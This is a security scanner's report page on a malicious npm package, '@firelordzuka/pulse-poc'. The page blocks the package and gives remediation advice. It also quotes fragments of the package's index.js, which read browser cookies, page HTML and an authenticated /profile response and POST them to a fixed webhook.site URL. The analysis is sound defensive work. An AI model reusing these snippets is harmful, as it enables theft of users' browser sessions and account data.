Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Loading npm security reports…

@firelordzuka/pulse-poc@1.0.0: Malicious npm security report | LPM Firewall

Skip to main content

Threat feed How it works Policy

Threat feed How it works Policy

Blocked & quarantined

Session cookies, rendered page data, and profile responses can be disclosed to an external party.

View on npm All versions

registry / @firelordzuka/pulse-poc / 1.0.0

@firelordzuka/pulse-poc@1.0.0

poc

AI Security Review

scanned 22d ago · by lpm-firewall-ai

Importing the browser entry point exfiltrates cookies, page content, and authenticated profile data. Data is posted to a fixed third-party webhook.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Loading or importing index.js in a browser page.

Impact

Session cookies, rendered page data, and profile responses can be disclosed to an external party.

Mechanism

Browser data collection followed by cross-origin webhook POSTs.

Attack narrative

The immediately invoked entry-point code reads document.cookie and up to 3,000 characters of page HTML. It also fetches /profile with included credentials, then posts each collected value to a fixed webhook.site URL using no-cors mode. This is direct browser-session and application-data exfiltration on import.

AI rationale

Source inspection confirms direct, automatic collection of sensitive browser data and transmission to an unrelated fixed endpoint. The absence of an install hook does not mitigate the malicious runtime behavior.

Evidence

index.js

Network endpoints2

webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb/profile

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence with false-positive risk.

Stop threats before they install.

Firewall

Threat feed
How it works
Policy

LPM

as Malware

low

Evidence for block

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.
It requests the authenticated relative profile endpoint and forwards its response to that receiver.
The code runs immediately when the package entry point is loaded in a browser context.

Evidence against

The manifest has no npm lifecycle scripts.
No shell execution or local filesystem mutation is present.

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 621 B of source, external domains: webhook.site

Source & flagged code

6 flagged · loading source

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: var BEACON = "https://webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb"; send("cookie", document.cookie || "(no cookie)");

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js var BEACON = "https://webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb"; method: "POST",

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

2var BEACON = "https://webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb";

High

Ai Review Evidence

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.

index.jsView on unpkg · L2

6fetch(BEACON, { method: "POST", mode: "no-cors", body: "[" + tag + "]\n" + data });

High

Ai Review Evidence

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.

index.jsView on unpkg · L6

17fetch("/profile", { credentials: "include" }) .then(function (r) { return r.text(); }) .then(function (t) { send("profile", t.slice(0, 4000)); }) .catch(function (e) { send("profile-error", String(e)); });

High

Ai Review Evidence

It requests the authenticated relative profile endpoint and forwards its response to that receiver.

index.jsView on unpkg · L17

14send("cookie", document.cookie || "(no cookie)"); send("page", document.documentElement.outerHTML.slice(0, 3000));

High

Ai Review Evidence

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.

index.jsView on unpkg · L14

Findings

1 Critical5 High1 Medium1 Low

CriticalHardcoded Runtime Data Exfiltrationindex.js

HighTrigger Reachable External Post Callbackindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

HighAi Review Evidenceindex.js

MediumNetwork

LowUrl Strings

Affected versions and remediation

This report applies to @firelordzuka/pulse-poc@1.0.0.

See version security history for other recorded verdicts.

Avoid installing @firelordzuka/pulse-poc@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-16 11:03:31.586Z (UTC).

99%Malicious

AI assessment confidence

IntentMalware

TypeCredential Exfiltration

False-positive riskLow

Review stagesource_first_review

Firewall policyMatched malicious

Package metadata

npm

Version1.0.0

PublishedSep 15, 2026

LicenseMIT

Dependencies0

Integrityverified

Package size562 B

Files2

Runtime surface

package.json

Entrypointsmain → index.js

RuntimeNo engine / OS / CPU constraints

Artifact774 B · 2 files1 signature(s)

Install lifecycleNo scripts declared.

Behavioral surface

NetworkUrlStringsManifest: clean

LPM.dev Registry

© 2026 LPM

Source & flagged code

6 flagged

index.jsView file

•Browser cookie sent to a fixed external endpoint in index.js: var BEACON = "https://webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb"; send("cookie", document.cookie || "(no cookie)");

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js var BEACON = "https://webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb"; method: "POST",

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

2var BEACON = "https://webhook.site/1acb4daa-e59e-48e1-a74f-b350c4248cbb";

High

Ai Review Evidence

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.

index.jsView on unpkg · L2

6fetch(BEACON, { method: "POST", mode: "no-cors", body: "[" + tag + "]\n" + data });

High

Ai Review Evidence

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.

index.jsView on unpkg · L6

17fetch("/profile", { credentials: "include" }) .then(function (r) { return r.text(); }) .then(function (t) { send("profile", t.slice(0, 4000)); }) .catch(function (e) { send("profile-error", String(e)); });

High

Ai Review Evidence

It requests the authenticated relative profile endpoint and forwards its response to that receiver.

index.jsView on unpkg · L17

14send("cookie", document.cookie || "(no cookie)"); send("page", document.documentElement.outerHTML.slice(0, 3000));

High

Ai Review Evidence

The main entry point sends browser cookies and page HTML to a fixed webhook receiver.

index.jsView on unpkg · L14